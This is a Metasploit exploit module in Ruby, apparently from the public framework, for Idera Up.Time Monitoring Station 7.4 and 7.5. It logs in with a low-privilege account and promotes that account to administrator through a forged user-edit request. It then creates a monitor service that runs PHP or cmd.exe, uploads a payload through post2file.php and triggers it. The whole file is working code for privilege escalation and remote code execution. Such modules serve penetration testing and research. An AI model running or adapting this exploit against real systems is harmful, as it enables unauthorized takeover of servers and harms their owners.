##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'nokogiri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Idera Up.Time Monitoring Station 7.4 post2file.php Arbitrary File Upload',
      'Description'     => %q{
        This module exploits a vulnerability found in Uptime version 7.4.0 and 7.5.0.

        The vulnerability began as a classic arbitrary file upload vulnerability in post2file.php,
        which can be exploited by exploits/multi/http/uptime_file_upload_1.rb, but it was mitigated
        by the vendor.

        Although the mitigation in place will prevent uptime_file_upload_1.rb from working, it
        can still be bypassed and gain privilege escalation, and allows the attacker to upload file
        again, and execute arbitrary commands.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Denis Andzakovic', # Found file upload bug in post2file.php in 2013
          'Ewerson Guimaraes(Crash) <crash[at]dclabs.com.br>',
          'Gjoko Krstic(LiquidWorm) <gjoko[at]zeroscience.mk>'
        ],
      'References'      =>
        [
          ['EDB', '37888'],
          ['URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2015-5254.php']
        ],
       'Platform'       => ['php'],
       'Arch'           => ARCH_PHP,
       'Targets'        => [['Automatic', {}]],
       'Privileged'     => 'true',
       'DefaultTarget'  => 0,
       # The post2file.php vuln was reported in 2013 by Denis Andzakovic. And then on Aug 2015,
       # it was discovered again by Ewerson 'Crash' Guimaraes.
       'DisclosureDate' => '2013-11-18'
    ))

    register_options(
      [
        Opt::RPORT(9999),
        OptString.new('USERNAME', [true, 'The username to authenticate as', 'sample']),
        OptString.new('PASSWORD', [true, 'The password to authenticate with', 'sample'])
      ])

    register_advanced_options(
      [
        OptString.new('UptimeWindowsDirectory', [true, 'Uptime installation path for Windows', 'C:\\Program Files\\uptime software\\']),
        OptString.new('UptimeLinuxDirectory', [true, 'Uptime installation path for Linux', '/usr/local/uptime/']),
        OptString.new('CmdPath', [true, 'Path to cmd.exe', 'c:\\windows\\system32\\cmd.exe'])
      ])
  end

  def print_status(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_error(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  def print_good(msg='')
    super("#{rhost}:#{rport} - #{msg}")
  end

  # Application Check
  def check
    res = send_request_cgi(
      'method' => 'GET',
      'uri'    => normalize_uri(target_uri.path)
    )

    unless res
      vprint_error("Connection timed out.")
      return Exploit::CheckCode::Unknown
    end

    n = Nokogiri::HTML(res.body)
    uptime_text = n.at('//ul[@id="uptimeInfo"]//li[contains(text(), "up.time")]')

    if uptime_text
      version = uptime_text.text.scan(/up\.time ([\d\.]+)/i).flatten.first
      vprint_status("Found version: #{version}")
      if version >= '7.4.0' && version <= '7.5.0'
        return Exploit::CheckCode::Appears
      end
    end

    Exploit::CheckCode::Safe
  end

  def create_exec_service(*args)
    cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs = *args
    res_service = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'main.php'),
      'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
      'vars_get' => {
        'section'          => 'ERDCInstance',
        'subsection'       => 'add',
      },
      'vars_post' => {
        'initialERDCId' => '20',
        'target' => '1',
        'targetType' => 'systemList',
        'systemList' => '1',
        'serviceGroupList' => '-10',
        'initialMode' => 'standard',
        'erdcName' => 'Exploit',
        'erdcInitialName' => '',
        'erdcDescription' => 'Exploit',
        'hostButton' => 'system',
        'erdc_id' => '20',
        'forceReload' => '0',
        'operation' => 'standard',
        'erdc_instance_id' => '',
        'label_[184]' => 'Script Name',
        'value_[184]' => cmd,
        'id_[184]' => 'process',
        'name_[process]' => '184',
        'units_[184]' => '',
        'guiBasic_[184]' => '1',
        'inputType_[184]' => 'GUIString',
        'screenOrder_[184]' => '1',
        'parmType_[184]' => '1',
        'label_[185]' => 'Arguments',
        'value_[185]' => cmdargs,
        'id_[185]' => 'args',
        'name_[args]' => '185',
        'units_[185]' => '',
        'guiBasic_[185]' => '1',
        'inputType_[185]' => 'GUIString',
        'screenOrder_[185]' => '2',
        'parmType_[185]' => '1',
        'label_[187]' => 'Output',
        'can_retain_[187]' => 'false',
        'comparisonWarn_[187]' => '-1',
        'comparison_[187]' => '-1',
        'id_[187]' => 'value_critical_output',
        'name_[output]' => '187',
        'units_[187]' => '',
        'guiBasic_[187]' => '1',
        'inputType_[187]' => 'GUIString',
        'screenOrder_[187]' => '4',
        'parmType_[187]' => '2',
        'label_[189]' => 'Response time',
        'can_retain_[189]' => 'false',
        'comparisonWarn_[189]' => '-1',
        'comparison_[189]' => '-1',
        'id_[189]' => 'value_critical_timer',
        'name_[timer]' => '189',
        'units_[189]' => 'ms',
        'guiBasic_[189]' => '0',
        'inputType_[189]' => 'GUIInteger',
        'screenOrder_[189]' => '6',
        'parmType_[189]' => '2',
        'timing_[erdc_instance_monitored]' => '1',
        'timing_[timeout]' => '60',
        'timing_[check_interval]' => '10',
        'timing_[recheck_interval]' => '1',
        'timing_[max_rechecks]' => '3',
        'alerting_[notification]' => '1',
        'alerting_[alert_interval]' => '120',
        'alerting_[alert_on_critical]' => '1',
        'alerting_[alert_on_warning]' => '1',
        'alerting_[alert_on_recovery]' => '1',
        'alerting_[alert_on_unknown]' => '1',
        'time_period_id' => '1',
        'pageFinish' => 'Finish',
        'pageContinue' => 'Continue...',
        'isWizard' => '1',
        'wizardPage' => '2',
        'wizardNumPages' => '2',
        'wizardTask' => 'pageFinish',
        'visitedPage[1]' => '1',
        'visitedPage[2]' => '1'
      })
  end

  def exploit
    vprint_status('Trying to login...')
    # Application Login
    res_auth = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri.path, 'index.php'),
      'vars_post' => {
        'username' => datastore['USERNAME'],
        'password' => datastore['PASSWORD']
      })

    unless res_auth
      fail_with(Failure::Unknown, 'Connection timed out while trying to login')
    end

    # Check OS
    phpfile_name = rand_text_alpha(10)
    if res_auth.headers['Server'] =~ /Unix/
      vprint_status('Found Linux installation - Setting appropriated PATH')
      phppath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'apache/bin/ph')
      uploadpath = Rex::FileUtils.normalize_unix_path(datastore['UptimeLinuxDirectory'], 'GUI/wizards')

      cmdargs = "#{uploadpath}#{phpfile_name}.txt"
      cmd = phppath
    else
      vprint_status('Found Windows installation - Setting appropriated PATH')
      phppath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'apache\\php\\php.exe')
      uploadpath = Rex::FileUtils.normalize_win_path(datastore['UptimeWindowsDirectory'], 'uptime\\GUI\\wizards\\')
      cmd = datastore['CmdPath']
      cmdargs = "/K \"\"#{phppath}\" \"#{uploadpath}#{phpfile_name}.txt\"\""
    end

    if res_auth.get_cookies =~ /login=true/
      cookie = Regexp.last_match(1)
      cookie_split = res_auth.get_cookies.split(';')
      vprint_status("Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
      print_good('Login success')

      # Privilege escalation getting user ID
      res_priv = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'vars_get' => {
          'page'    => 'Users',
          'subPage' => 'UserContainer'
        },
       'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
      )

      unless res_priv
        fail_with(Failure::Unknown, 'Connection timed out while getting userID.')
      end

      matchdata = res_priv.body.match(/UPTIME\.CurrentUser\.userId\.*/)

      unless matchdata
        fail_with(Failure::Unknown, 'Unable to find userID for escalation')
      end

      get_id = matchdata[0].gsub(/[^\d]/, '')
      vprint_status('Escalating privileges...')

      # Privilege escalation post
      res_priv_elev = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'vars_get' => {
          'section'          => 'UserContainer',
          'subsection'       => 'edit',
          'id'               => "#{get_id}"
        },
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_post' => {
          'operation' => 'submit',
          'disableEditOfUsernameRoleGroup' => 'false',
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD'],
          'passwordConfirm' => datastore['PASSWORD'],
          'firstname' => rand_text_alpha(10),
          'lastname' => rand_text_alpha(10),
          'location' => '',
          'emailaddress' => '',
          'emailtimeperiodid' => '1',
          'phonenumber' => '',
          'phonenumbertimeperiodid' => '1',
          'windowshost' => '',
          'windowsworkgroup' => '',
          'windowspopuptimeperiodid' => '1',
          'landingpage' => 'MyPortal',
          'isonvacation' => '0',
          'receivealerts' => '0',
          'activexgraphs' => '0',
          'newuser' => '1',
          'userroleid' => '1',
          'usergroupid[]' => '1'
        }
      )

      unless res_priv_elev
        fail_with(Failure::Unknown, 'Connection timed out while escalating...')
      end

      # Refresing perms
      vprint_status('Refreshing perms...')
      res_priv = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'index.php?loggedout'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}"
      )

      unless res_priv
        fail_with(Failure::Unknown, 'Connection timed out while refreshing perms')
      end

      res_auth = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'index.php'),
        'vars_post' => {
          'username' => datastore['USERNAME'],
          'password' => datastore['PASSWORD']
        }
      )

      unless res_auth
        fail_with(Failure::Unknown, 'Connection timed out while authenticating...')
      end

      if res_auth.get_cookies =~ /login=true/
        cookie = Regexp.last_match(1)
        cookie_split = res_auth.get_cookies.split(';')
        vprint_status("New Cookies Found: #{cookie_split[1]} #{cookie_split[2]}")
        print_good('Priv. Escalation success')
      end

      # CREATING Linux EXEC Service
      if res_auth.headers['Server'] =~ /Unix/
        vprint_status('Creating Linux Monitor Code exec...')
        create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)

      else
        # CREATING Windows EXEC Service#
        vprint_status('Creating Windows Monitor Code exec...')
        create_exec_service(cookie_split, rhost, uploadpath, phppath, phpfile_name, cmd, cmdargs)
      end

      # Upload file
      vprint_status('Uploading file...')
      up_res = send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'wizards', 'post2file.php'),
        'vars_post' => {
          'file_name' => "#{phpfile_name}.txt",
          'script'    => payload.encoded
        }
      )

      unless up_res
        fail_with(Failure::Unknown, 'Connection timed out while uploading file.')
      end

      vprint_status('Checking Uploaded file...')
      res_up_check = send_request_cgi(
        'method' => 'GET',
        'uri' => normalize_uri(target_uri.path, 'wizards', "#{phpfile_name}.txt")
      )

      if res_up_check && res_up_check.code == 200
        print_good("File found: #{phpfile_name}")
      else
        print_error('File not found')
        return
      end

      # Get Monitor ID

      vprint_status('Fetching Monitor ID...')
      res_mon_id = send_request_cgi(
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path, 'ajax', 'jsonQuery.php'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_get' => {
          'query'               => 'GET_SERVICE_PAGE_ERDC_LIST',
          'iDisplayStart'       => '0',
          'iDisplayLength'      => '10',
          'sSearch'             => 'Exploit'
        }
       )

      unless res_mon_id
        fail_with(Failure::Unknown, 'Connection timed out while fetching monitor ID')
      end

      matchdata = res_mon_id.body.match(/id=?[^>]*>/)

      unless matchdata
        fail_with(Failure::Unknown, 'No monitor ID found in HTML body. Unable to continue.')
      end

      mon_get_id = matchdata[0].gsub(/[^\d]/, '')
      print_good("Monitor id aquired:#{mon_get_id}")
      # Executing monitor
      send_request_cgi(
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path, 'main.php'),
        'cookie' => "#{cookie_split[1]}; #{cookie_split[2]}",
        'vars_post' => {
          'section'    => 'RunERDCInstance',
          'subsection' => 'view',
          'id'         => mon_get_id,
          'name'       => 'Exploit'
        }
      )
    else
      print_error('Cookie not found')
    end
  end
end
